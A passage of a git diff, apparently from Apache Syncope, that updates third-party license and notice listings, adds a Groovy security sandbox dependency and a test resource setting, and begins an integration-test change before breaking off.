above. + +== + For Gson (https://github.com/google/gson): This is licensed under the AL 2.0, see above. @@ -502,6 +512,11 @@ This is licensed under the AL 2.0, see above. == +For Protocol Buffers (https://developers.google.com/protocol-buffers/): +This is licensed under the BSD license, see above. + +== + For ZXing (https://github.com/zxing/zxing): This is licensed under the AL 2.0, see above. @@ -522,217 +537,13 @@ This is licensed under the AL 2.0, see above. == -For mchange-commons-java (https://github.com/swaldman/mchange-commons-java): -This is licensed under the EPL 1.0: - -Eclipse Public License - v 1.0 - -THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE PUBLIC -LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM -CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. - -1. DEFINITIONS - -"Contribution" means: - -a) in the case of the initial Contributor, the initial code and documentation - distributed under this Agreement, and -b) in the case of each subsequent Contributor: - i) changes to the Program, and - ii) additions to the Program; - - where such changes and/or additions to the Program originate from and are - distributed by that particular Contributor. A Contribution 'originates' - from a Contributor if it was added to the Program by such Contributor - itself or anyone acting on such Contributor's behalf. Contributions do not - include additions to the Program which: (i) are separate modules of - software distributed in conjunction with the Program under their own - license agreement, and (ii) are not derivative works of the Program. - -"Contributor" means any person or entity that distributes the Program. - -"Licensed Patents" mean patent claims licensable by a Contributor which are -necessarily infringed by the use or sale of its Contribution alone or when -combined with the Program. - -"Program" means the Contributions distributed in accordance with this -Agreement. - -"Recipient" means anyone who receives the Program under this Agreement, -including all Contributors. - -2. GRANT OF RIGHTS - a) Subject to the terms of this Agreement, each Contributor hereby grants - Recipient a non-exclusive, worldwide, royalty-free copyright license to - reproduce, prepare derivative works of, publicly display, publicly - perform, distribute and sublicense the Contribution of such Contributor, - if any, and such derivative works, in source code and object code form. - b) Subject to the terms of this Agreement, each Contributor hereby grants - Recipient a non-exclusive, worldwide, royalty-free patent license under - Licensed Patents to make, use, sell, offer to sell, import and otherwise - transfer the Contribution of such Contributor, if any, in source code and - object code form. This patent license shall apply to the combination of - the Contribution and the Program if, at the time the Contribution is - added by the Contributor, such addition of the Contribution causes such - combination to be covered by the Licensed Patents. The patent license - shall not apply to any other combinations which include the Contribution. - No hardware per se is licensed hereunder. - c) Recipient understands that although each Contributor grants the licenses - to its Contributions set forth herein, no assurances are provided by any - Contributor that the Program does not infringe the patent or other - intellectual property rights of any other entity. Each Contributor - disclaims any liability to Recipient for claims brought by any other - entity based on infringement of intellectual property rights or - otherwise. As a condition to exercising the rights and licenses granted - hereunder, each Recipient hereby assumes sole responsibility to secure - any other intellectual property rights needed, if any. For example, if a - third party patent license is required to allow Recipient to distribute - the Program, it is Recipient's responsibility to acquire that license - before distributing the Program. - d) Each Contributor represents that to its knowledge it has sufficient - copyright rights in its Contribution, if any, to grant the copyright - license set forth in this Agreement. - -3. REQUIREMENTS - -A Contributor may choose to distribute the Program in object code form under -its own license agreement, provided that: - - a) it complies with the terms and conditions of this Agreement; and - b) its license agreement: - i) effectively disclaims on behalf of all Contributors all warranties - and conditions, express and implied, including warranties or - conditions of title and non-infringement, and implied warranties or - conditions of merchantability and fitness for a particular purpose; - ii) effectively excludes on behalf of all Contributors all liability for - damages, including direct, indirect, special, incidental and - consequential damages, such as lost profits; - iii) states that any provisions which differ from this Agreement are - offered by that Contributor alone and not by any other party; and - iv) states that source code for the Program is available from such - Contributor, and informs licensees how to obtain it in a reasonable - manner on or through a medium customarily used for software exchange. - -When the Program is made available in source code form: - - a) it must be made available under this Agreement; and - b) a copy of this Agreement must be included with each copy of the Program. - Contributors may not remove or alter any copyright notices contained - within the Program. - -Each Contributor must identify itself as the originator of its Contribution, -if -any, in a manner that reasonably allows subsequent Recipients to identify the -originator of the Contribution. - -4. COMMERCIAL DISTRIBUTION - -Commercial distributors of software may accept certain responsibilities with -respect to end users, business partners and the like. While this license is -intended to facilitate the commercial use of the Program, the Contributor who -includes the Program in a commercial product offering should do so in a manner -which does not create potential liability for other Contributors. Therefore, -if a Contributor includes the Program in a commercial product offering, such -Contributor ("Commercial Contributor") hereby agrees to defend and indemnify -every other Contributor ("Indemnified Contributor") against any losses, -damages and costs (collectively "Losses") arising from claims, lawsuits and -other legal actions brought by a third party against the Indemnified -Contributor to the extent caused by the acts or omissions of such Commercial -Contributor in connection with its distribution of the Program in a commercial -product offering. The obligations in this section do not apply to any claims -or Losses relating to any actual or alleged intellectual property -infringement. In order to qualify, an Indemnified Contributor must: -a) promptly notify the Commercial Contributor in writing of such claim, and -b) allow the Commercial Contributor to control, and cooperate with the -Commercial Contributor in, the defense and any related settlement -negotiations. The Indemnified Contributor may participate in any such claim at -its own expense. - -For example, a Contributor might include the Program in a commercial product -offering, Product X. That Contributor is then a Commercial Contributor. If -that Commercial Contributor then makes performance claims, or offers -warranties related to Product X, those performance claims and warranties are -such Commercial Contributor's responsibility alone. Under this section, the -Commercial Contributor would have to defend claims against the other -Contributors related to those performance claims and warranties, and if a -court requires any other Contributor to pay any damages as a result, the -Commercial Contributor must pay those damages. - -5. NO WARRANTY - -EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN -"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR -IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, -NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each -Recipient is solely responsible for determining the appropriateness of using -and distributing the Program and assumes all risks associated with its -exercise of rights under this Agreement , including but not limited to the -risks and costs of program errors, compliance with applicable laws, damage to -or loss of data, programs or equipment, and unavailability or interruption of -operations. - -6. DISCLAIMER OF LIABILITY - -EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY -CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, -SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION -LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN -CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) -ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE -EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY -OF SUCH DAMAGES. - -7. GENERAL - -If any provision of this Agreement is invalid or unenforceable under -applicable law, it shall not affect the validity or enforceability of the -remainder of the terms of this Agreement, and without further action by the -parties hereto, such provision shall be reformed to the minimum extent -necessary to make such provision valid and enforceable. - -If Recipient institutes patent litigation against any entity (including a -cross-claim or counterclaim in a lawsuit) alleging that the Program itself -(excluding combinations of the Program with other software or hardware) -infringes such Recipient's patent(s), then such Recipient's rights granted -under Section 2(b) shall terminate as of the date such litigation is filed. - -All Recipient's rights under this Agreement shall terminate if it fails to -comply with any of the material terms or conditions of this Agreement and does -not cure such failure in a reasonable period of time after becoming aware of -such noncompliance. If all Recipient's rights under this Agreement terminate, -Recipient agrees to cease use and distribution of the Program as soon as -reasonably practicable. However, Recipient's obligations under this Agreement -and any licenses granted by Recipient relating to the Program shall continue -and survive. - -Everyone is permitted to copy and distribute copies of this Agreement, but in -order to avoid inconsistency the Agreement is copyrighted and may only be -modified in the following manner. The Agreement Steward reserves the right to -publish new versions (including revisions) of this Agreement from time to -time. No one other than the Agreement Steward has the right to modify this -Agreement. The Eclipse Foundation is the initial Agreement Steward. The -Eclipse Foundation may assign the responsibility to serve as the Agreement -Steward to a suitable separate entity. Each new version of the Agreement will -be given a distinguishing version number. The Program (including -Contributions) may always be distributed subject to the version of the -Agreement under which it was received. In addition, after a new version of the -Agreement is published, Contributor may elect to distribute the Program -(including its Contributions) under the new version. Except as expressly -stated in Sections 2(a) and 2(b) above, Recipient receives no rights or -licenses to the intellectual property of any Contributor under this Agreement, -whether expressly, by implication, estoppel or otherwise. All rights in the -Program not expressly granted under this Agreement are reserved. - -This Agreement is governed by the laws of the State of New York and the -intellectual property laws of the United States of America. No party to this -Agreement will bring a legal action under this Agreement more than one year -after the cause of action arose. Each party waives its rights to a jury trial in -any resulting litigation. +For Microsoft Authentication Library (MSAL) for Java (https://github.com/AzureAD/microsoft-authentication-library-for-java): +This is licensed under the MIT license, see above. == -For Microsoft Authentication Library (MSAL) for Java (https://github.com/AzureAD/microsoft-authentication-library-for-java): -This is licensed under the MIT license, see above. +For Spectator (https://github.com/Netflix/spectator): +This is licensed under the AL 2.0, see above. == @@ -761,11 +572,21 @@ This is licensed under the AL 2.0, see above. == +For RabbitMQ Java Client (https://www.rabbitmq.com/java-client.html): +This is licensed under the AL 2.0, see above. + +== + For Java implementation of the Mustache template language (https://github.com/samskivert/jmustache): This is licensed under the BSD license, see above. == +For SignalFx client libraries (https://github.com/signalfx/signalfx-java): +This is licensed under the AL 2.0, see above. + +== + For Moshi (https://square.github.io/moshi/1.x): This is licensed under the AL 2.0, see above. @@ -1207,6 +1028,11 @@ This is licensed under the BSD license, see above. == +For t-digest (https://github.com/tdunning/t-digest): +This is licensed under the AL 2.0, see above. + +== + For CBOR (https://github.com/peteroupc/CBOR-Java): This is licensed under the CC0 1.0, see above. @@ -1222,6 +1048,11 @@ This is licensed under the BSD license, see above. == +For Wavefront's Java SDK (https://github.com/wavefrontHQ/wavefront-sdk-java): +This is licensed under the AL 2.0, see above. + +== + For Yubico (https://developers.yubico.com/): This is licensed under the BSD license, see above. @@ -1317,6 +1148,11 @@ This is licensed under the BSD license, see above. == +For gmetric4j (https://github.com/ganglia/gmetric4j): +This is licensed under the BSD license, see above. + +== + For inherits (https://github.com/isaacs/inherits): This is licensed under the MIT license, see above. @@ -1347,18 +1183,232 @@ This is licensed under the AL 2.0, see above. == +For Java Bindings for the OpenTelemetry Protocol (OTLP) (https://github.com/open-telemetry/opentelemetry-proto-java): +This is licensed under the AL 2.0, see above. + +== + For Project Reactor (https://projectreactor.io/): This is licensed under the AL 2.0, see above. == +For Prometheus Java Metrics Library (http://prometheus.github.io/client_java/): +This is licensed under the AL 2.0, see above. + +== + For Swagger (http://swagger.io/): This is licensed under the AL 2.0, see above. == For Jakarta Annotations https://projects.eclipse.org/projects/ee4j.ca): -This is licensed under the EPL 1.0, see above. +This is licensed under the EPL 1.0: + +Eclipse Public License - v 1.0 + +THE ACCOMPANYING PROGRAM IS PROVIDED UNDER THE TERMS OF THIS ECLIPSE PUBLIC +LICENSE ("AGREEMENT"). ANY USE, REPRODUCTION OR DISTRIBUTION OF THE PROGRAM +CONSTITUTES RECIPIENT'S ACCEPTANCE OF THIS AGREEMENT. + +1. DEFINITIONS + +"Contribution" means: + +a) in the case of the initial Contributor, the initial code and documentation + distributed under this Agreement, and +b) in the case of each subsequent Contributor: + i) changes to the Program, and + ii) additions to the Program; + + where such changes and/or additions to the Program originate from and are + distributed by that particular Contributor. A Contribution 'originates' + from a Contributor if it was added to the Program by such Contributor + itself or anyone acting on such Contributor's behalf. Contributions do not + include additions to the Program which: (i) are separate modules of + software distributed in conjunction with the Program under their own + license agreement, and (ii) are not derivative works of the Program. + +"Contributor" means any person or entity that distributes the Program. + +"Licensed Patents" mean patent claims licensable by a Contributor which are +necessarily infringed by the use or sale of its Contribution alone or when +combined with the Program. + +"Program" means the Contributions distributed in accordance with this +Agreement. + +"Recipient" means anyone who receives the Program under this Agreement, +including all Contributors. + +2. GRANT OF RIGHTS + a) Subject to the terms of this Agreement, each Contributor hereby grants + Recipient a non-exclusive, worldwide, royalty-free copyright license to + reproduce, prepare derivative works of, publicly display, publicly + perform, distribute and sublicense the Contribution of such Contributor, + if any, and such derivative works, in source code and object code form. + b) Subject to the terms of this Agreement, each Contributor hereby grants + Recipient a non-exclusive, worldwide, royalty-free patent license under + Licensed Patents to make, use, sell, offer to sell, import and otherwise + transfer the Contribution of such Contributor, if any, in source code and + object code form. This patent license shall apply to the combination of + the Contribution and the Program if, at the time the Contribution is + added by the Contributor, such addition of the Contribution causes such + combination to be covered by the Licensed Patents. The patent license + shall not apply to any other combinations which include the Contribution. + No hardware per se is licensed hereunder. + c) Recipient understands that although each Contributor grants the licenses + to its Contributions set forth herein, no assurances are provided by any + Contributor that the Program does not infringe the patent or other + intellectual property rights of any other entity. Each Contributor + disclaims any liability to Recipient for claims brought by any other + entity based on infringement of intellectual property rights or + otherwise. As a condition to exercising the rights and licenses granted + hereunder, each Recipient hereby assumes sole responsibility to secure + any other intellectual property rights needed, if any. For example, if a + third party patent license is required to allow Recipient to distribute + the Program, it is Recipient's responsibility to acquire that license + before distributing the Program. + d) Each Contributor represents that to its knowledge it has sufficient + copyright rights in its Contribution, if any, to grant the copyright + license set forth in this Agreement. + +3. REQUIREMENTS + +A Contributor may choose to distribute the Program in object code form under +its own license agreement, provided that: + + a) it complies with the terms and conditions of this Agreement; and + b) its license agreement: + i) effectively disclaims on behalf of all Contributors all warranties + and conditions, express and implied, including warranties or + conditions of title and non-infringement, and implied warranties or + conditions of merchantability and fitness for a particular purpose; + ii) effectively excludes on behalf of all Contributors all liability for + damages, including direct, indirect, special, incidental and + consequential damages, such as lost profits; + iii) states that any provisions which differ from this Agreement are + offered by that Contributor alone and not by any other party; and + iv) states that source code for the Program is available from such + Contributor, and informs licensees how to obtain it in a reasonable + manner on or through a medium customarily used for software exchange. + +When the Program is made available in source code form: + + a) it must be made available under this Agreement; and + b) a copy of this Agreement must be included with each copy of the Program. + Contributors may not remove or alter any copyright notices contained + within the Program. + +Each Contributor must identify itself as the originator of its Contribution, +if +any, in a manner that reasonably allows subsequent Recipients to identify the +originator of the Contribution. + +4. COMMERCIAL DISTRIBUTION + +Commercial distributors of software may accept certain responsibilities with +respect to end users, business partners and the like. While this license is +intended to facilitate the commercial use of the Program, the Contributor who +includes the Program in a commercial product offering should do so in a manner +which does not create potential liability for other Contributors. Therefore, +if a Contributor includes the Program in a commercial product offering, such +Contributor ("Commercial Contributor") hereby agrees to defend and indemnify +every other Contributor ("Indemnified Contributor") against any losses, +damages and costs (collectively "Losses") arising from claims, lawsuits and +other legal actions brought by a third party against the Indemnified +Contributor to the extent caused by the acts or omissions of such Commercial +Contributor in connection with its distribution of the Program in a commercial +product offering. The obligations in this section do not apply to any claims +or Losses relating to any actual or alleged intellectual property +infringement. In order to qualify, an Indemnified Contributor must: +a) promptly notify the Commercial Contributor in writing of such claim, and +b) allow the Commercial Contributor to control, and cooperate with the +Commercial Contributor in, the defense and any related settlement +negotiations. The Indemnified Contributor may participate in any such claim at +its own expense. + +For example, a Contributor might include the Program in a commercial product +offering, Product X. That Contributor is then a Commercial Contributor. If +that Commercial Contributor then makes performance claims, or offers +warranties related to Product X, those performance claims and warranties are +such Commercial Contributor's responsibility alone. Under this section, the +Commercial Contributor would have to defend claims against the other +Contributors related to those performance claims and warranties, and if a +court requires any other Contributor to pay any damages as a result, the +Commercial Contributor must pay those damages. + +5. NO WARRANTY + +EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, THE PROGRAM IS PROVIDED ON AN +"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, EITHER EXPRESS OR +IMPLIED INCLUDING, WITHOUT LIMITATION, ANY WARRANTIES OR CONDITIONS OF TITLE, +NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each +Recipient is solely responsible for determining the appropriateness of using +and distributing the Program and assumes all risks associated with its +exercise of rights under this Agreement , including but not limited to the +risks and costs of program errors, compliance with applicable laws, damage to +or loss of data, programs or equipment, and unavailability or interruption of +operations. + +6. DISCLAIMER OF LIABILITY + +EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY +CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION +LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE +EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY +OF SUCH DAMAGES. + +7. GENERAL + +If any provision of this Agreement is invalid or unenforceable under +applicable law, it shall not affect the validity or enforceability of the +remainder of the terms of this Agreement, and without further action by the +parties hereto, such provision shall be reformed to the minimum extent +necessary to make such provision valid and enforceable. + +If Recipient institutes patent litigation against any entity (including a +cross-claim or counterclaim in a lawsuit) alleging that the Program itself +(excluding combinations of the Program with other software or hardware) +infringes such Recipient's patent(s), then such Recipient's rights granted +under Section 2(b) shall terminate as of the date such litigation is filed. + +All Recipient's rights under this Agreement shall terminate if it fails to +comply with any of the material terms or conditions of this Agreement and does +not cure such failure in a reasonable period of time after becoming aware of +such noncompliance. If all Recipient's rights under this Agreement terminate, +Recipient agrees to cease use and distribution of the Program as soon as +reasonably practicable. However, Recipient's obligations under this Agreement +and any licenses granted by Recipient relating to the Program shall continue +and survive. + +Everyone is permitted to copy and distribute copies of this Agreement, but in +order to avoid inconsistency the Agreement is copyrighted and may only be +modified in the following manner. The Agreement Steward reserves the right to +publish new versions (including revisions) of this Agreement from time to +time. No one other than the Agreement Steward has the right to modify this +Agreement. The Eclipse Foundation is the initial Agreement Steward. The +Eclipse Foundation may assign the responsibility to serve as the Agreement +Steward to a suitable separate entity. Each new version of the Agreement will +be given a distinguishing version number. The Program (including +Contributions) may always be distributed subject to the version of the +Agreement under which it was received. In addition, after a new version of the +Agreement is published, Contributor may elect to distribute the Program +(including its Contributions) under the new version. Except as expressly +stated in Sections 2(a) and 2(b) above, Recipient receives no rights or +licenses to the intellectual property of any Contributor under this Agreement, +whether expressly, by implication, estoppel or otherwise. All rights in the +Program not expressly granted under this Agreement are reserved. + +This Agreement is governed by the laws of the State of New York and the +intellectual property laws of the United States of America. No party to this +Agreement will bring a legal action under this Agreement more than one year +after the cause of action arose. Each party waives its rights to a jury trial in +any resulting litigation. == @@ -1367,6 +1417,11 @@ This is licensed under the EPL 1.0, see above. == +For Jakarta Messaging (https://projects.eclipse.org/projects/ee4j.messaging): +This is licensed under the EPL 1.0, see above. + +== + For Jakarta Mail (https://projects.eclipse.org/projects/ee4j.mail): This is licensed under the EPL 1.0, see above. @@ -1382,22 +1437,22 @@ This is licensed under the EPL 1.0, see above. == -For Jakarta Transactions (https://projects.eclipse.org/projects/ee4j.jta): +For Jakarta Servlet (https://projects.eclipse.org/projects/ee4j.servlet): This is licensed under the EPL 1.0, see above. == -For Eclipse Project for JAX-RS (https://projects.eclipse.org/projects/ee4j.jaxrs): +For Jakarta Transactions (https://projects.eclipse.org/projects/ee4j.jta): This is licensed under the EPL 1.0, see above. == -For Bean Validation API (http://beanvalidation.org/): -This is licensed under the AL 2.0, see above. +For Eclipse Project for JAX-RS (https://projects.eclipse.org/projects/ee4j.jaxrs): +This is licensed under the EPL 1.0, see above. == -For Joda Time (http://www.joda.org/joda-time/): +For Bean Validation API (http://beanvalidation.org/): This is licensed under the AL 2.0, see above. == @@ -1422,6 +1477,11 @@ This is licensed under the MIT license, see above. == +For Byte Buddy (https://bytebuddy.net/): +This is licensed under the AL 2.0, see above. + +== + For TypeTools (https://github.com/jhalterman/typetools/): This is licensed under the AL 2.0, see above. @@ -1487,11 +1547,6 @@ This is licensed under the MIT license, see above. == -For The Checker Framework (https://checkerframework.org/): -This is licensed under the MIT license, see above. - -== - For StAX2 API (http://wiki.fasterxml.com/WoodstoxStax2): This is licensed under the BSD license, see above. @@ -1592,6 +1647,11 @@ This is licensed under the MIT license, see above. == +For JSpecify (https://jspecify.dev/): +This is licensed under the AL 2.0, see above. + +== + For LatencyUtils (https://latencyutils.github.io/LatencyUtils/): This is licensed under the CC0 1.0, see above. @@ -1657,11 +1717,31 @@ This is licensed under the AL 2.0, see above. == +For zxcvbn (https://github.com/dropbox/zxcvbn): +This is licensed under the MIT license, see above. + +== + For SnakeYAML (http://www.snakeyaml.org/): This is licensed under the AL 2.0, see above. == +For AWS SDK for Java (https://aws.amazon.com/sdkforjava): +This is licensed under the AL 2.0, see above. + +== + +For AWS EventStream for Java (https://github.com/awslabs/aws-eventstream-java): +This is licensed under the AL 2.0, see above. + +== + +For sweetalert2 (https://github.com/sweetalert2/sweetalert2): +This is licensed under the MIT license, see above. + +== + For text-encoding (https://github.com/inexorabletash/text-encoding): This is licensed under the AL 2.0, see above. @@ -1672,10 +1752,15 @@ This is licensed under the BSD license, see above. == -For window.fetch polyfill (https://github.github.io/fetch/): +For UAParser.js (https://github.com/faisalman/ua-parser-js): This is licensed under the MIT license, see above. == -For zxcvbn (https://github.com/dropbox/zxcvbn): +For webjars-locator-lite (https://github.com/webjars/webjars-locator-lite/): +This is licensed under the MIT license, see above. + +== + +For window.fetch polyfill (https://github.github.io/fetch/): This is licensed under the MIT license, see above. diff --git a/docker/wa/NOTICE b/docker/wa/NOTICE index e9a0e01428d..063f76df58a 100644 --- a/docker/wa/NOTICE +++ b/docker/wa/NOTICE @@ -9,6 +9,11 @@ with which this file is now or was at one time distributed. == +This product includes software developed by the Animate.css project. +Copyright (c) 2016 Daniel Eden + +== + This product includes software developed by balanced-match Copyright (c) 2013 Julian Gruber @@ -96,13 +101,13 @@ This product includes software developed by J2ObjC: Java to Objective-C Translat == -This product includes software developed by ZXing -Copyright: 2007-2020, ZXing authors +This product includes software developed by Protocol Buffers +Copyright 2008 Google Inc. All rights reserved. == -This product includes software developed by mchange-commons-java -Copyright (C) 2015 Machinery For Change, Inc. +This product includes software developed by ZXing +Copyright: 2007-2020, ZXing authors == @@ -111,6 +116,11 @@ Copyright (c) Microsoft Corporation. All rights reserved. == +This product includes software developed by Spectator +Copyright Netflix. All Rights Reserved. + +== + This product includes software developed by Nimbus Content Type Copyright 2020, Connect2id Ltd @@ -131,12 +141,22 @@ Copyright 2012-2022, Connect2id Ltd == +This product includes software developed by RabbitMQ Java Client +Copyright (c) 2007-Present Pivotal Software, Inc. All rights reserved. + +== + This product includes software developed by Java implementation of the Mustache template language. Copyright (c) 2010, Michael Bayne All rights reserved. == +This product includes software developed by SignalFx client libraries +Copyright © 2014-2023 SignalFx | Splunk + +== + This product includes software developed by Moshi Copyright (C) 2020 Square, Inc. @@ -172,6 +192,11 @@ Copyright (c) 2018, 2024 Oracle and/or its affiliates. All rights reserved. == +This product includes software developed by t-digest +The code for the t-digest was originally authored by Ted Dunning + +== + This product includes software developed by Semver4j Copyright (c) 2015-present Vincent DURMONT @@ -183,6 +208,11 @@ Copyright (c) 2014-2017 Enrico M. Crisostomo == +This product includes software developed by Wavefront's Java SDK +Copyright (c) 2017-Present VMware, Inc. All Rights Reserved. + +== + This product includes software developed by Yubico Copyright (c) 2014-2018, Yubico AB @@ -267,6 +297,12 @@ Copyright (c) 2006, Ivan Sagalaev == +This product includes software developed by gmetric4j +Copyright (C) 2010-2015 Daniel Pocock +Copyright (c) 2008-2011 Jasper Humphrey + +== + This product includes software developed by inherits Copyright (c) 2011-2023 Isaac Z. Schlueter @@ -297,6 +333,16 @@ Copyright 2014 The Netty Project == +This product includes software developed by Java Bindings for the OpenTelemetry Protocol (OTLP) +Copyright The OpenTelemetry Authors + +== + +This product includes software developed by Prometheus Java Metrics Library +Copyright 2012-2015 The Prometheus Authors + +== + This product includes software developed by the Swagger project. Copyright 2016 SmartBear Software @@ -312,6 +358,12 @@ Copyright (c) 1997, 2023 Oracle and/or its affiliates and others. All rights res == +This product includes software developed by the Eclipse Project for Jakarta Messaging. +Copyright (c) 2017, 2020 Oracle and/or its affiliates. All rights reserved. +Copyright 2021 Contributors to the Eclipse Foundation + +== + This product includes software developed by the Eclipse Project for Jakarta Mail. Copyright (c) 1997, 2024 Oracle and/or its affiliates. All rights reserved. @@ -328,6 +380,11 @@ Copyright (c) 2021-2024 Contributors to the Eclipse Foundation == +This product includes software developed by the Eclipse Project for Jakarta Servlet. +Copyright (c) 1997, 2024 Oracle and/or its affiliates and others. All rights reserved. + +== + This product includes software developed by the Eclipse Project for Jakarta Transactions. Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. @@ -344,11 +401,6 @@ Copyright (c) Red Hat, Inc., Emmanuel Bernard == -This product includes software developed by the Joda Time project. -Copyright (c) 2002-2016 Joda.org. All Rights Reserved. - -== - This product includes the jQuery Core JavaScript Library. Copyright 2007, 2016 jQuery Foundation and other contributors. @@ -364,6 +416,11 @@ Copyright (c) 2011 Gary Court == +This product includes software developed by Byte Buddy +Copyright 2014 - Present Rafael Winterhalter + +== + This product includes software developed by TypeTools. Copyright Jonathan Halterman and friends. @@ -419,11 +476,6 @@ Copyright (c) 2000-2016 The Legion of the Bouncy Castle Inc. (http://www.bouncyc == -This product includes software developed by The Checker Framework. -Copyright (c) 2004-present by the Checker Framework developers - -== - This product includes software developed by the Stax 2 Extension API Project. == @@ -509,6 +561,11 @@ Copyright (c) 2009-2022 Jonathan Hedley == +This product includes software developed by JSpecify +Copyright 2022 The JSpecify Authors. + +== + This product includes software developed by Ldaptive Java Library Copyright (C) 2003-2021 Virginia Tech. All Rights Reserved. @@ -558,19 +615,44 @@ Copyright 2012 Twitter, Inc. == +This product includes software developed by zxcvbn +Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. + +== + This product includes software developed by the SnakeYAML project. == +This product includes software developed by AWS SDK for Java +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + +== + +This product includes software developed by AWS EventStream for Java +Copyright Amazon.com, Inc. or its affiliates. All Rights Reserved. + +== + +This product includes software developed by sweetalert2 +Copyright (c) 2014 Tristan Edwards & Limon Monte + +== + This product includes software developed by tslib Copyright (c) Microsoft Corporation. == -This product includes software developed by window.fetch polyfill -Copyright (c) 2014-2016 GitHub, Inc. +This product includes software developed by UAParser.js +Copyright (c) 2012-2025 Faisal Salman == -This product includes software developed by zxcvbn -Copyright (c) 2012-2016 Dan Wheeler and Dropbox, Inc. +This product includes software developed by webjars-locator-lite +Copyright (c) 2013 James Ward + +== + +This product includes software developed by window.fetch polyfill +Copyright (c) 2014-2016 GitHub, Inc. diff --git a/fit/build-tools/LICENSE b/fit/build-tools/LICENSE index db68ac85b93..5b0f7fba6f7 100644 --- a/fit/build-tools/LICENSE +++ b/fit/build-tools/LICENSE @@ -982,6 +982,11 @@ of liability. == +For Groovy Security Sandbox (https://github.com/Tirasa/groovy-security-sandbox: +This is licensed under the MIT license, see above. + +== + For jose.4.j (https://bitbucket.org/b_c/jose4j/): This is licensed under the AL 2.0, see above. @@ -1002,6 +1007,11 @@ This is licensed under the AL 2.0, see above. == +For groovy-sandbox (https://github.com/craftercms/groovy-sandbox: +This is licensed under the MIT license, see above. + +== + For Eclipse Angus - Activation (https://eclipse-ee4j.github.io/angus-activation/): This is licensed under the EDL 1.0, see above. diff --git a/fit/build-tools/NOTICE b/fit/build-tools/NOTICE index c70ad414b57..28680511ddb 100644 --- a/fit/build-tools/NOTICE +++ b/fit/build-tools/NOTICE @@ -121,6 +121,12 @@ Copyright 2011-2016 Tirasa S.r.l. All rights reserved. == +This product includes software developed by Groovy Security Sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors +Copyright (c) 2025 Tirasa + +== + This product includes software developed by jose.4.j Copyright 2012-2015 Brian Campbell @@ -139,6 +145,11 @@ This product includes software developed by the Woodstox Project. == +This product includes software developed by groovy-sandbox +Copyright (c) 2012-2020 Kohsuke Kawaguchi, CloudBees, Inc., other contributors + +== + This product includes software developed by the Eclipse Angus Project. Copyright (c) 1997, 2024 Oracle and/or its affiliates. All rights reserved. diff --git a/fit/build-tools/pom.xml b/fit/build-tools/pom.xml index 0112b74996f..65b77d560ba 100644 --- a/fit/build-tools/pom.xml +++ b/fit/build-tools/pom.xml @@ -170,6 +170,11 @@ under the License. groovy-sql + + net.tirasa + groovy-security-sandbox + + com.icegreen greenmail diff --git a/fit/core-reference/pom.xml b/fit/core-reference/pom.xml index cfe77e95f53..375b63ce4b6 100644 --- a/fit/core-reference/pom.xml +++ b/fit/core-reference/pom.xml @@ -433,6 +433,12 @@ under the License. errorMessages.properties + + ${basedir}/../../core/spring/src/test/resources + + *.groovy + + @@ -1632,7 +1638,7 @@ under the License. openldap - bitnami/openldap:2.6 + bitnamilegacy/openldap:2.6 1389 diff --git a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java index 9abc12ec691..cae408ab068 100644 --- a/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java +++ b/fit/core-reference/src/test/java/org/apache/syncope/fit/core/MacroTaskITCase.java @@ -26,8 +26,10 @@ import static org.junit.jupiter.api.Assertions.fail; import jakarta.ws.rs.core.Response; +import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.Locale; +import java.util.UUID; import java.util.concurrent.TimeUnit; import org.apache.commons.io.IOUtils; import org.apache.syncope.common.lib.SyncopeClientException; @@ -74,6 +76,27 @@ public class MacroTaskITCase extends AbstractITCase { TCA.setPrinterName("aprinter112"); } + private static void createMacroActionsIfNeeded(final String key, final ImplementationEngine engine, + final String body) { + ImplementationTO macroActions = null; + try { + macroActions = IMPLEMENTATION_SERVICE.read(IdRepoImplementationType.MACRO_ACTIONS, key); + } catch (SyncopeClientException e) { + if 